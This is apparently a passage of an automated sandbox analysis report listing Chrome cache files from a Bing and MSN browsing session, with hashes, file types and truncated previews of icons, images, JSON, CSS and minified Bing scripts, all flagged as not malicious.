Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["card-actions-wc"],{545:function(e,t){"use strict";t.Z='<svg width="12" height="12" viewBox="0 0 12 12"><path d="M6.85 6 12 11.15l-.85.85L6 6.85.85 12 0 11.15 5.15 6 0 .85.85 0 6 5.15 11.15 0l.85.85L6.85 6Z"/></svg>'},19456:function(e,t){"use strict";t.Z='<svg width="14" height="15" viewBox="0 0 14 15"><path d="M11.77.75c.31 0 .6.06.87.18A2.2 2.2 0 0 1 14 2.98a2.2 2.2 0 0 1-.66 1.57L4.2 13.7 0 14.76l1.05-4.21 9.14-9.13a2.19 2.19 0 0 1 .73-.49c.27-.11.55-.17.85-.17Zm-9.75 9.88a2.78 2.78 0 0 1 1.32.78 2.76 2.76 0 0 1 .78 1.32l7.6-7.6-2.1-2.1-7.6 7.6Zm-.99 3.09 2.4-.6a2.09 2.09 0 0 0-.22-.64 2.04 2.04 0 0 0-.4-.54 2.04 2.04 0 0 0-.54-.4 2.09 2.09 0 0 0-.64-.23l-.6 2.4Zm11.22-9.13.37-.35a2.93 2.93 0 0 0 .32-.36c.1-.12.17-.26.22-.4a1.36 1.36 0 0 0 .09-.5 1.5 1.5 0 0 0-.9-1.36 1.4 1.4 0 0 0-.58-.12 1.36 1.36 0 0 0-.5.09 1.73 1.73 0 0 0-.4.22 3.06 3.06 0 0 0-.36.32l-.35.37 2.09 2.1Z"/></svg>'}

Chrome Cache Entry: 680

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	27050
Entropy (8bit):	5.311910726386856
Encrypted:	false
SSDEEP:	384:Ju5HpoedXBkzeBPaMZFbIf3NGvRgr32YPGeCxfRPPOqbgoMmb+KAYpHYs7+x:J6xtBkzeoM/biGg9GecwKgoMmNp4s7+x
MD5:	6766470B95D42D3B8AB4CF543FA49BD2
SHA1:	DC905CDF6875CD8BB69CA94385934E2683884DB5
SHA-256:	CDA368A18C96F2E11242E0463B1A5E55D91994E41DA38B41F9C82C0C20A55102
SHA-512:	9902C88A12CC9A9AB397AF420D56EEE82A9D3FBB75E38EA3D62FECF18D479B1FE23DA3975C0593FD0FB70367C6ED2778130BFDA6A2FE23530806502E27ECB391
Malicious:	false
Reputation:	unknown
Preview:	<svg width="45" height="14" viewBox="0 0 45 14" fill="none" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.<rect width="45" height="14" fill="url(#pattern0)"/>.<defs>.<pattern id="pattern0" patternContentUnits="objectBoundingBox" width="1" height="1">.<use xlink:href="#image0_51_2339" transform="matrix(0.000879864 0 0 0.00282813 -0.2438 -0.774074)"/>.</pattern>.<image id="image0_51_2339" width="1704" height="901" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABqgAAAOFCAYAAAAWJGOCAAAACXBIWXMAAC4jAAAuIwF4pT92AAAgAElEQVR4nOzdTXIcR5Yu0HCZxl2oFRTUGyhoBQQn/YaE5s+MwApIroDkCkCuAJBZzwkNX08IroDQBprQCoTqDfizoG6qUyB+8ifcwyPyHDOa1GoyEfD0DLDuF/d6BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Chrome Cache Entry: 681

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5235
Entropy (8bit):	7.915838822311368
Encrypted:	false
SSDEEP:	96:8zgEtzKiyw9ewk7gBzP3RovWzNb9tXf5oWR9cqkv/+:ygizKi/ewkMP3Cuz/9x9ae
MD5:	822F9E47D1941C96DE090670D5E49FF6
SHA1:	A9B3C7E3B73B208F74062E86ACA4747B47489608
SHA-256:	EDBC6B8400D9666772758F4254BA667CF671398C697F1954DE81CEB324B140B0
SHA-512:	DB1F05F74BCD99F39660BA9B077456F33720D3B6821F55A5ED0584EA416F5578389ED64AAB0DBEA7D33D22A5205C8F435104C1F28621D0FEAC740DF079710319
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..-.-..6..S..E;KCr....=iZ..q..\|.y..5......2lI.e.t.U...,r}k.O..........:4....(9'.?...^hl......jORN.}..4}..L.Kte.....zS..;W?.{.^.9F..#.."C...F...3..F.2..(.G.&.u......v5hD,F".I0=.....1...}ou...Ko.ls.I..5.}......."msJ../%......uX......ap.._[J.2.&R..S...u.w_._.m&.~.p..^....?.iC...........c.4/i%xD.a......;..uB.V.E..a...U&..F>....k....u..v..".......u.&...0G

Chrome Cache Entry: 682

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	24024
Entropy (8bit):	7.966844333163851
Encrypted:	false
SSDEEP:	384:eMdwk5XFqt9lvGnzxoSI2PtLSOdIOQFn//OKV8V+uK8YsuWLRyJ2:eMd151qtqzx3HkB/OKV8VL+BW0J2
MD5:	7F1C78F2CD6FB2C6328B4B08C4D59D0C
SHA1:	2E9129872556B279C09322419B556E21C93482CC
SHA-256:	CA4E4F8A09800325AFD2D53965371F283B0F66F8A2EF6D24AEF235B4BD70DDBD
SHA-512:	36197A3F6EBA8CE4ADA0A8A8D71338DAF732C89EA1EB90B8A180185309F861AEF82AACCC0A9DFDCEF27AC5DDFD460F5DBA03D1456E4051D5372AAE9C00FC0970
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....h...bQ......o.. ...8d..f.o...W...H.........s_.....q.X.H.l(.j.....d\|S........k.*.....k.G...wFt.b.]...q...`...sG..Kh.....\|W.....o..m..Eq..H#[...[.!]O#88<.(vkA..;3.;...YT.X.....I.P..][.{+.&&'i/......A..8...7.:..k&h.......c....k7.:.6,.U}....]A.v..>.`...............#.D....U.F..aSF..d...dn.vx=8=..G3..ix.;q.Oj.._..s.g.OL.S...a..H..`.x#.>\....\.@8..4..l....%?).q.

Chrome Cache Entry: 683

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1891
Entropy (8bit):	4.978057495408852
Encrypted:	false
SSDEEP:	24:YnaQR45uxUAISexXhIaQoPFhHXAISgQIaQiE1UoA2Ah6AISsFxqPnXKJHIaQk9In:Yi5uxU+YPhHX+gQA1Uxk+kxqwHpL+qir
MD5:	BD97762E22E6D42505B7DBC275E21D61
SHA1:	F2CF6D6890604F8CB5F43B9FB7C0738521E01D3A
SHA-256:	C7C67D37DA784B2D568902E314B95A597AD9D40AF333D748515F832D03020139
SHA-512:	A26E64643AC3D7DFA23895687BDFF577EF1D66A77C025CDAD5FE3EDB30CEEDB3154937CAF1FA78C38C66C02C59C48C5920F5FF8352AF7E7BD444FF0F0B8CEFED
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/v1/codexnudge?format=json&
Preview:	{"title":"","data":[{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=Create%20a%20slogan%20for%20a%20new%20social%20media%20platform%20that%20specializes%20in%20sarcasm","fullText":null,"imageUrl":null,"modifiedBy":null,"modifiedTimestamp":0,"prompt":"","promptIconUrl":null,"promptSubtitle":null,"query":"Create a slogan for a new social media platform that specializes in sarcasm","response":null,"type":0,"category":null},{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q=What%20are%20some%20sustainable%20and%20environmentally%20friendly%20presents%20to%20consider%20giving%20this%20year%3F","fullText":null,"imageUrl":null,"modifiedBy":null,"modifiedTimestamp":0,"prompt":"","promptIconUrl":null,"promptSubtitle":null,"query":"What are some sustainable and environmentally friendly presents to consider giving this year?","response":null,"type":0,"category":null},{"clickThroughUrl":"https://www.bing.com/search?iscopilotedu=1&sendquery=1&q

Chrome Cache Entry: 684

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14756
Entropy (8bit):	5.485866518079936
Encrypted:	false
SSDEEP:	96:1KKSgwPfAblwhQEO6g8wtXt/40V3y8nQjSsddXevFK5Bz8UaB9sOWLZ+JzY7iYPH:1KLgwPv/Otw0MSwdXF5Bzak/ICphR
MD5:	10DF8F497583CA3A2F1A5C22BCB5349A
SHA1:	B33C42503B885806ECFC3E20E48C508CFF2D61A2
SHA-256:	897DA9C3A3A503B19D3C4D01CAAF49B343780B5FDF8C734E96D1FCCD7701FD57
SHA-512:	2DD89727101264A2F117C00D94969C223DA9B7653560D7A0824393409356DA570B6F786132029AB5E520D3A8FE5E8D19FE5D9398DBA3DA31371C324726D02AE4
Malicious:	false
Reputation:	unknown
Preview:	{"title":"","data":[{"typeName":"TrendingNow","items":[{"title":"6 dead, 3 injured in Texas","url":"/search?q=Shootings+across+Texas&efirst=0&ecount=50&filters=tnTID%3a%223C7AB6C8-CAEF-439f-B7E1-A920F1936B4E%22+tnVersion%3a%225397467%22+Segment%3a%22popularnow.carousel%22+tnCol%3a%220%22+tnOrder%3a%223082af98-bf98-4849-97ee-2ff813d849eb%22&form=HPNN01","imageUrl":"/th?id=OPN.RTNews_pu4Sh615T_Ss0HuDxz5lbg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow","badge":null,"imageCredit":". Provided by New York Post","tooltip":"Shootings across Texas","linksTarget":"","dataTags":null,"additionalMetaData":{"editorial":{"clickThroughUrl":"","badgeText":"","badgeColor":"","badgeBackground":""},"msn":{"clickThroughUrl":"","articleId":"","source":""}},"shortTitle":"","longTitle":""},{"title":"Cause of death revealed","url":"/search?q=Brandi+Mallory+cause+of+death&efirst=0&ecount=50&filters=tnTID%3a%22E24BE7E9-8928-4f67-86C7-43D7218A9149%22+tnVersion%3a%225397467%22+Segment%3a%22popularnow.carousel%22+tnCol%3

Chrome Cache Entry: 685

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

Chrome Cache Entry: 686

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (589), with no line terminators
Category:	downloaded
Size (bytes):	589
Entropy (8bit):	5.085028072286348
Encrypted:	false
SSDEEP:	12:bCMUnSeFbDN5a8f8R4Xtmp4ElMYVoJFp1wErUVKtRJnZM4C8Lv:bPUSeFbZ5ae8R4XtmqElFVK1ptRNj
MD5:	7A903A859615D137E561051C006435C2
SHA1:	7C2CBEB8B0E83E80954B14360B4C6E425550BC54
SHA-256:	281D6234FD292800C2A5DBD14E524C9CEE0D4438188B0B7D873ABF41515A7666
SHA-512:	AA47EFAB7EC689B838D1E5ADFE26E035E8B93F2B806F1954214447CB2065FA5906F81A70B4C656B3CE1490D8AC2009C7E7B0F96491D6D4559C41FB25D08FE35C
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/fCy-uLDoPoCVSxQ2C0xuQlVQvFQ.css
Preview:	#rewardsLoadingAnimation{position:absolute;top:50%;left:50%;margin-left:-30px;z-index:1;border-radius:50%;border:1.5px solid;border-color:#0078d4 #c7e0f4 #c7e0f4;animation:spin360Deg 1.3s cubic-bezier(.53,.21,.29,.67) infinite}#rewardsLoadingAnimation.extraLarge{width:100px;height:100px}#rewardsLoadingAnimation.large{width:80px;height:80px}#rewardsLoadingAnimation.medium{width:60px;height:60px}#rewardsLoadingAnimation.small{width:40px;height:40px}#rewardsLoadingAnimation.extraSmall{width:20px;height:20px}@keyframes spin360Deg{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}

Chrome Cache Entry: 687

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3775), with no line terminators
Category:	downloaded
Size (bytes):	3775
Entropy (8bit):	5.29650692492817
Encrypted:	false
SSDEEP:	96:HgGiPbuAlWy7sCHBFHEm0tWr3cJvEb6FG:HTMuAldsCHB4YrtgG
MD5:	25579D1CA23E689B3D4F7751209A1E74
SHA1:	E6F447A90A7A166E026714CFA55C7DC0D90673CD
SHA-256:	F08BD9586C19AF0E136ECE0231038F74BC3F705CC9C49CC593170A2979F8D26F
SHA-512:	39AF9657F5DBCA78717262B2F7A2BF841F7513D3E3240CFDB6EF74B948F98218A6886CEC9BC7E01A46BC2091E81EA7A8A85AA382A3BC410960B69808BFC25DFA
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/sa/41714962/Blue/HamburgerServicesHeaderFlyout_c.js
Preview:	var sch=sch\|\|{};(function(){function ct(){typeof sj_b!="undefined"&&r&&n&&(ft(),sj_be(r,u,et,!1))}function ft(){var r,u,i,t;l\|\|(l=!0,r=[],at(r),r.push("IID="+n.getAttribute("_iid")),r.push("IG="+_G.IG),u=_w.Feedback,u&&u.Bootstrap&&r.push("fbnb=1"),i="/hamburger/scfo?ver="+_G.AppVer+"&"+r.join("&"),i.indexOf("&ru=")<0&&(i=i+"&ru="+encodeURIComponent(_w.location.href)),/^\/images\/search$/i.test(_w.location.pathname)?i+="&mmasync=1&src=img":/^\/images\/feed/i.test(_w.location.pathname)?i+="&mmasync=1&src=imgfd":_w._H&&(_w._H.feature==="cnt"?i+=_w._H.type==="entp"?"&src=ent":"&src=cnt":_w._H.hpqs&&(i+="&src=hp")),t=sj_gx(),t.open("GET",i,!0),t.onreadystatechange=function(){t.readyState==4&&t.status==200&&t.responseText?(_w.sj_appHTML?sj_appHTML(n,t.responseText):n.innerHTML=t.responseText,p=!0,lt(),w!=null&&et(w)):t.readyState==4&&(l=!1,p=!1)},t.send(null))}function lt(){var t,n,i;if(sj_evt.bind("onFeedbackStarting",b),sj_evt.bind("onMenuDismiss",b),_d.querySelectorAll)for(t=_d.querySele

Chrome Cache Entry: 688

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (62219), with CRLF line terminators
Category:	downloaded
Size (bytes):	127245
Entropy (8bit):	5.70538356948875
Encrypted:	false
SSDEEP:	1536:Gv3e6ZhOiif1chbMp0La6QcyYb2t68V5YRYUIU/cN6UuD5EJ4Y3zts+WUNf12pdC:GfLZmf1chbgEaK2o3IU/ZZoKp534Rws
MD5:	085C1628495F2D5083298ED20F54D256
SHA1:	3B33EBA04FE684A6663E4B4A207EC7C927D06F51
SHA-256:	9F35BB1FDB04C97BBC379C380AC5A9D68F3AECA26AD38C9DE0D58E2C4F83371D
SHA-512:	F3362F197648F92CB5BBC0616D8C48FA69332D2366D024650EF01537769E35290593B3D6C0D2631F7B4D1D36EE21E87EF6B077917A7C7219A499CF8AD2599B91
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/
Preview:	<!doctype html><html lang="en" dir="ltr"><head><meta name="theme-color" content="#4F4F4F" /><meta name="description" content="Bing helps you turn information into action, making it faster and easier to go from searching to doing." /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta property="fb:app_id" content="570810223073062" /><meta property="og:type" content="website" /><meta property="og:title" content="A global code for the future" /><meta property="og:image" content="https://www.bing.com/th?id=OHR.CERNCenter_EN-US9854867489_tmb.jpg&rf=" /><meta property="og:image:width" content="1366" /><meta property="og:image:height" content="768" /><meta property="og:url" content="https://www.bing.com/?form=HPFBBK&ssd=20231206_0800&mkt=en-US" /><meta property="og:site_name" content="Bing" /><meta property="og:description" content="Computer science is a dynamically developing disci" /><title>Bing</ti

Chrome Cache Entry: 689

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21819)
Category:	downloaded
Size (bytes):	21850
Entropy (8bit):	5.354090222291205
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfiWahKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNuw+0TVteAaV:Y5TifxbBpBnqIH+Z6sepXv0uAaV
MD5:	30280C218D3CAAF6B04EC8C6F906E190
SHA1:	653D368EFDD498CAF65677E1D54F03DD18B026B5
SHA-256:	D313C6FFF97701CC24DB9D84C8B0643CA7A82A01C0868517E6E543779985C46E
SHA-512:	1F329898FA0E68F65095B813CA20351ACFEAA5F74DB886508FD4F1FA85811A8CC683C6FAB9D9F094F596C8957219F8E29A6307EA0B2D470BDC809A4B9C9D34DC
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/ZT02jv3UmMr2Vnfh1U8D3RiwJrU.js
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

Chrome Cache Entry: 690

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4696
Entropy (8bit):	7.898032061199841
Encrypted:	false
SSDEEP:	96:8zgELg6QesrLr5dGzL8YXhtqz+EGFLRi2mzFRD744F60+s:yge5QeiLr5dOXhtqz+EWLRi2m5R/44M0
MD5:	AC36744E320D289F2FA9638B77888EBB
SHA1:	C2D866679F2494D9CC12232F8A078C99D40296CD
SHA-256:	1B0E600A77F4F37A651E33C7F78A5A07CCFCA6EE12D5F33DFC556F891FA270E0
SHA-512:	B6A23B2AB56CD3D3220739FAF212149137C796DED2B9989CB12E842085950C7847CA9B957A85C1C256A05D22FCA51F729B30E9A25CF49BB483D5A2D2B30FAF50
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......JU.g..U3Z7R..\|.n.-.Gj...".t..l..7]..7.......,D.E..t...<..\|O..C.3....i.+..~..W..U.._...}....V....5..;...z..i.f......E...s.h....Ym..%M.?..FH....^...Xd2.&.:..A'..9#.c..Mk.....'p.7........N).Z..,..D.K...../..bU...>.1....jk...O..Mr...E.....q..c.z..]{y"..xd...&.r=.......Wipg.Y"..,$'p.>.V.X..V.....rIo..c].?.?.X..S,.....\|.....`{.U......3.#..U]......X.n.

Chrome Cache Entry: 691

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2737
Entropy (8bit):	5.143739593947487
Encrypted:	false
SSDEEP:	48:TSEFkrgXL4vxyL9oG5e/LGlCbux1ZkCLtgQQ/TY740a3HOzw3B+THvRkqBHtoUqM:mrTeRkaAburmvlSxINwTqeW1MN
MD5:	8F824B93502AA4AA1CF9F8A77E6B7F10
SHA1:	7EE42795FD98366080A6D79A134F18CA84DDB064
SHA-256:	6CFE41748D6981393CFDB649AB1048EE0F08C1F2BAFAF7E5BECA030DD77EBC56
SHA-512:	CBB60A1DB15705AAB7BA4AC64F7AE960BD30317E301204C65A7ED0C5C7C10333120523D5E101A9874E8858FCCC7C5981AB996AB57708FDA09D578E8CFCCA77F1
Malicious:	false
Reputation:	unknown
Preview:	<svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">.<g filter="url(#filter0_f_2673_133239)">.<path d="M35.7195 13.5491C35.7195 7.72157 30.9337 2.9989 25.0317 2.9989C19.1296 2.9989 14.3439 7.72157 14.3439 13.5491V41.2798C11.0857 44.1804 9 48.3335 9 53.0008C9 61.7448 16.1813 68.8275 25.0317 68.8275C33.8848 68.8275 41.0634 61.7448 41.0634 53.0008C41.0634 48.3335 38.9776 44.1804 35.7195 41.2798V13.5491Z" fill="url(#paint0_linear_2673_133239)" fill-opacity="0.2"/>.</g>.<path d="M36.6355 13.5766C36.6355 7.73387 31.8498 2.9989 25.9477 2.9989C20.0456 2.9989 15.2599 7.73387 15.2599 13.5766V41.3795C12.0018 44.2877 9.91602 48.4516 9.91602 53.131C9.91602 61.8977 17.0973 68.9989 25.9477 68.9989C34.8008 68.9989 41.9794 61.8977 41.9794 53.131C41.9794 48.4516 39.8936 44.2877 36.6355 41.3795V13.5766Z" fill="url(#paint1_linear_2673_133239)"/>.<rect x="21.9398" y="9.99887" width="8.01584" height="27" rx="4.00792" fill="black" fill-opacity="0.2"/>.<path fill-rul

Chrome Cache Entry: 692

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1304
Entropy (8bit):	4.767968631693785
Encrypted:	false
SSDEEP:	24:YogdqtOLxL1iKCSzSQxmdfpkZnEDoAQE:TjtOniKCSlmJpCncx
MD5:	671DDC2887FB01DFC418864231D503E0
SHA1:	C709A9F97B41095CD1A0436FDE285467AC460147
SHA-256:	E2D2752332894DBDC79D3690468FD5811B38A7AB1380AD788165F1458C9C1968
SHA-512:	D65ECB575D650443B0FACFC74ECD0B9173B38AA2D497DE066F13A5DF892899040FACFE293C055FB4667DACD0FAB904B85B7C06EFC4C455645254ECE1BDA8A59F
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBWdbbd.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....NIDATx..SMkSA.=..%R....4..QP.XHM7fSL.@. ]....HQAD...A..;A.;EH......DE("...j..&mc.....Lx1../.;w.93w.^.-b%3.$.i.#...M..>3.x\..s..R'..`T...<.].=.f.8.t..h.&/9...&...k.....p% ]...`....@..<.....M`..[......b....K...&.W5.A..]3..vb....J)/h7.)].........-%\|...s?14.%...i.z5a.\|....@..h..u..f..8..g.=.[XBz1...P..J!....E..Z...O..t..#..>._...`..QWa..-..lG........&..C....7.\.Fzi..Q{E/P....=G.<.}+....j.W.......o".....F.g....v.;..TZ.l..B$.......w.b..r...2.?.a.,;.~..C..E.!..:x._.\|..sn...R. ....%.....*.q'..&......\|"......;.WU.......a3...>.7....<U..2M....'....v.S.Lp...........T)....IEND.B`.............................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 693

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.746571054177901
Encrypted:	false
SSDEEP:	12:6v/7hJp8IkCuF6aDUSFPVKkT/qUn9WIlwKILyhFCHvjXabkJiwypN4:SpWLzp1A0wKILyhoHvrvXAN
MD5:	37CF855C1E1C773C05DFAE6D323C0978
SHA1:	FC2D73558B5A03C5CE0084BA0B70767A1773C728
SHA-256:	990A8A1556EEBE54E3730A3C84B390FD2DAD626CA7A54DA6A7F138F92527E9A8
SHA-512:	C02F5B70F5D1BA90DC14A8155DC2956D60297930E6E34F50295F6ACD84671FA2E78CDEFDD730B271916D49F8C1A49C69962030C84BB4BAB72714BFE328A66BFF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+..... IDATx..SMHTQ.....y>..j...d..v.B.{!7.+.%..Q.j$....Em.D.VA....I....ZL.j.......9..<.aZu......}..s.~.JK..Y17. ....G@8.-..}.\.1:N.6`.....l....yR...,...hYp.{ .[.....(...D...\|.g..4<.'...!.S......&`.?..7.c{&.a.P...}......c..... .....E..!q...kV..2.M..N..2.........X..P.s.v.9.G:P".c..1.".;....+&R..M..f." ..d..d_g.....~..:.7.....W..o. v.....O..........>.:.....'..a...H^.h^...";..Ab........QU.zb...4...3.U.0Z[.^....)..G.';.........0;.q...N.y.0..y.F...Q.............C.X............kl..Pfm.?...n}.*..v.[..E.\..Q.........4@uYh... .....e)...._i..[r..?....IEND.B`...........................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 694

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1477
Entropy (8bit):	5.147477666443474
Encrypted:	false
SSDEEP:	24:t4I6nxZuFcLwLsLjpaABLNRERBLLR5RBLoRFkERBLh4HxpGydGPS5HxpGESGMcRD:knpLwLsLj3LN2TLLHTLoUETLuHaDPGHd
MD5:	411B26A34D3C7CAB1793600C7461D628
SHA1:	5F4D10834676335CB8FECBF4A6405BDFDB02B2B7
SHA-256:	EAB006435A852C9CBD409B53D14980A92DD072DCCC22316FC562528EB0C54000
SHA-512:	C1F73327871B9B80008D1E57291E1DD2B09068CB0564C597183DFD1EE58E7C2FF131DC3F9EA71A411A87142C1AB038B354C430137AAA90BF0D95A684C083BB41
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 16 16" width="14" height="16">..<path fill="#737A80" d="M1 1h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 6h14a4 4 0 01-4 4H5a4 4 0 01-4-4zM1 11h14a4 4 0 01-4 4H5a4 4 0 01-4-4z"/>..<rect width="8" height="16" x="4" fill="url(#paint0_linear)" rx="1"/>..<circle cx="8" cy="3" r="2" fill="#FF4C00"/>..<circle cx="8" cy="3" r="2" fill="url(#paint1_linear)"/>..<circle cx="8" cy="8" r="2" fill="#FFB900"/>..<circle cx="8" cy="8" r="2" fill="url(#paint2_linear)"/>..<g>.. <circle cx="8" cy="13" r="2" fill="#78D30C"/>.. <circle cx="8" cy="13" r="2" fill="url(#paint3_linear)"/>..</g>..<defs>.. <linearGradient id="paint0_linear" x1="8" x2="8" y1="0" y2="16" gradientUnits="userSpaceOnUse">.. <stop stop-color="#5C6166"/>.. <stop offset="1" stop-color="#45494D"/>.. </linearGradient>.. <linearGradient id="paint1_linear" x1="9" x2="7" y1="4.732" y2="1.268" gradientUnits="userSpaceOnUse">.. <stop stop-color="#D83B01"/>.. <stop offset="

Chrome Cache Entry: 695

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1829
